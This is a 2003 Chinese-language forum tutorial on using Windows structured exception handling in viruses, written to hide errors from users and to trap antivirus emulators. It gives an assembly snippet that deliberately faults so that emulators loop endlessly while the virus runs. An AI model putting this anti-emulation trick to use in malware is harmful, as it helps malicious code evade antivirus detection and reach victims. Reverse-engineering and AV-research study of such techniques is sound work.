• 标 题:SEH 於病毒的應用
  • 作 者: henrynote
  • 时 间:2003/04/07 11:48pm
  • 链 接:http://bbs.pediy.com

SEH 於病毒的應用
前話:

由於小弟技術很爛,有錯的地方,請多多指正,不要客氣。謝謝啦…這篇文章是我的第一篇,可能會
錯誤百出,所以不要期待這是一篇好文章。希望能共同進步!

*這篇文章隻出於研究病毒用途,請不要用此技術制造具有破壞性的病毒。謝謝!如有任何人用此技術
造成任何破壞,於本人無關!


簡介:

SEH 是什麼?不知道是什麼東東的話,就先去看看hume寫的《SEH in ASM 的研究》或者
《Win32 Exception handling for assembler programmers by Jeremy Gordon》,再回來看這篇
爛文章吧!


1.為什麼要在病毒裡使用seh呢?

任何程序都有可能有錯誤出現的,在我們的病毒裡也是一樣。病毒通常是用戶在不知不覺下
做手腳,如果我們的病毒出了錯,那麼就有可能彈出一個個討厭的錯誤信息框,這樣一來我們的病毒
就沒有什麼意思了。不被用戶察覺是十分重要的,所以我們要用SEH來處理我們病毒裡有可能出現的錯
誤。這是 SEH 於病毒中的應用之一,相信你在看完成SEH 的文章後,應該知道怎樣使用SEH去處理在
病毒裡所產生的異常。

在我們的病毒裡還有一樣很重要的是--避免被偵察到,不然我們的病毒在開始運行的時候就被
發現和殺掉,那麼我們的心血就泡湯了!所以我們要令我們的病毒不容易給 反病毒引擎 發現。

當一個程序運行時,反病毒引擎會模擬程序的代碼,如果它找到的疑點多的話,那麼這個程序
大多是被病毒感染了!這時反病毒引擎會做出適當的處理。所以我們可以在病毒裡使用SEH設計一個陷阱
給AVs的Emulator。這樣就可避免被捕!哈哈!


2.如何用SEH於你的病毒去搞定Emulator?


o當!o當!入正題!既然它那麼喜歡要模擬我們的代碼,我們就在病毒一開始就安裝一個SEH,
該處理異常程序就是我們的病毒,然後製造一個異常。這樣就進入異常處理程序(我們的病毒)繼續執行
。而仿真器卻會以為是這是個普通異常處理程序,但是有些AVs會在遇到錯誤代碼之后試圖繼續模擬下一
個指令,那麼我們就讓它進入一個死循環!哈哈!How? 看看下面的代碼:

*部分代碼是引用benny's polymorphic engine

start:call Set_SEH;這句其實就是 push offset CONTINUE
;      JMP Set_SEH
CONTINUE:mov esp, [esp+8];恢復堆棧, 當一個異常產生時,系統會掛起程序,並呼叫處理程序,                          
                                       ;傳送處理程序的參數裡,在[ESP+8]處儲存的是舊的堆棧的地址

push offset Start_Virus ;----_ 把Start_Virus 的地址壓進堆棧裡,當作返回地址
ret;----  跟著來一個ret,跳到Start_Virus去,是不是很magic?


Set_SEH:sub edx, edx            ;Edx =0

;如果你使用的是masm,應該加下面一句,不然就會引起編譯錯誤
;Assume fs:nothing

push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 結構的指針壓到堆棧
mov fs:[edx], esp;安裝一個seh 框架
mov [edx],edx;注意這裡引起一個異常,因為edx=0, 所以會引起一個讀寫內存沖突的異常,

;如果Emulator 不理會異常,不進入seh 處理程序(即 CONTINUE: ),繼續模
;擬下個指令,也就是jmp start,那麼就會進入一個死循環,這可能會造成當
               jmp start       ;機


Start_Virus:    .....
.....

自己試試看吧!
明白了嗎?不明白?沒關系,沒有什麼人什麼都懂,寫信給我,我們來討論一下吧!我的qq:50527053,icq 72424549
email:henrynote@msn.com

*後話
SEH 的應用很廣,不隻是在病毒裡有用(廢話),最常用的當然是用來處理在可預知的異常,SEH 技術也可以用於
返跟蹤等等!
寫這篇的文章的目的是為了和各位初學者分享學習結果,我也是初學者,希望能與大家一同進步。
在這裡要感謝很多人,所有幫助過我的朋友,有鼓勵我寫這篇文章的-老羅,還有很多大哥。

--------------------------------------------------------------------------------------------------------------
如需轉載,請註明本文由henrynote著! Henry's WorkShop :http://hackit2000.virtualave.net
Thankyou For Very Much !